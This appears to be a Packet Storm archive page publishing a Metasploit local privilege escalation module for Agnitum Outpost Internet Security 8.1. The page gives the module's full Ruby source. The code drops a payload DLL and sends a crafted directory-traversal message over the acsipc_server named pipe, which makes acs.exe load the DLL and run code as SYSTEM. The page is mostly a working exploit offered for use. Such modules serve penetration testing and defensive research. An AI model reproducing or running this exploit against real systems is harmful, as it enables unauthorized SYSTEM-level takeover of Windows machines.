what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Agnitum Outpost Internet Security Local Privilege Escalation

Agnitum Outpost Internet Security Local Privilege Escalation
Posted Sep 17, 2013
Authored by juan vazquez, Ahmad Moghimi | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability on Agnitum Outpost Internet Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary code with SYSTEM privileges. This Metasploit module has been tested successfully on Windows 7 SP1 with Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).

tags | exploit, arbitrary
systems | windows
advisories | OSVDB-96208
SHA-256 | c725a9edfaf376428bc599d7a1561e16694e97bcddedbb8f573cc30689f520c3

Agnitum Outpost Internet Security Local Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info, {
'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
'Description' => %q{
This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ahmad Moghimi', # Vulnerability discovery
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Privileged' => true,
'Targets' =>
[
[ 'Agnitum Outpost Internet Security 8.1', { } ],
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
[ 'OSVDB', '96208' ],
[ 'EDB', '27282' ],
[ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ]
],
'DisclosureDate' => 'Aug 02 2013',
'DefaultTarget' => 0
}))

register_options([
# It is OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
# By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\
OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
], self.class)


end

def junk
return rand_text_alpha(4).unpack("V").first
end

def open_named_pipe(pipe)
invalid_handle_value = 0xFFFFFFFF

r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)

handle = r['return']

if handle == invalid_handle_value
return nil
end

return handle
end

def write_named_pipe(handle, dll_path, dll_name)

traversal_path = "..\\" * datastore["DEPTH"]
traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
traversal_path << "\\#{dll_name}"

path = Rex::Text.to_unicode(traversal_path)

data = "\x00" * 0x11
data << path
data << "\x00\x00"
data << "\x00\x00\x00"

buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler
buf << [0x17].pack("V") # command
buf << [junk].pack("V")
buf << [data.length].pack("V")
buf << [0, 0, 0].pack("V*")
buf << data

w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)

if w['return'] == false
print_error("The was an error writing to disk, check permissions")
return nil
end

return w['lpNumberOfBytesWritten']
end


def check
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected
end

def exploit

temp_dir = ""

print_status("Opening named pipe...")
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
else
print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
end

if datastore["WritableDir"] and not datastore["WritableDir"].empty?
temp_dir = datastore["WritableDir"]
else
temp_dir = expand_path("%TEMP%")
end

print_status("Using #{temp_dir} to drop malicious DLL...")
begin
cd(temp_dir)
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
end

print_status("Writing malicious DLL to remote filesystem")
write_path = pwd
dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
begin
# Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem
write_file(dll_name, generate_payload_dll)
register_file_for_cleanup("#{write_path}\\#{dll_name}")
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}")
end

print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
bytes = write_named_pipe(handle, write_path, dll_name)
session.railgun.kernel32.CloseHandle(handle)

if bytes.nil?
fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
end

end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close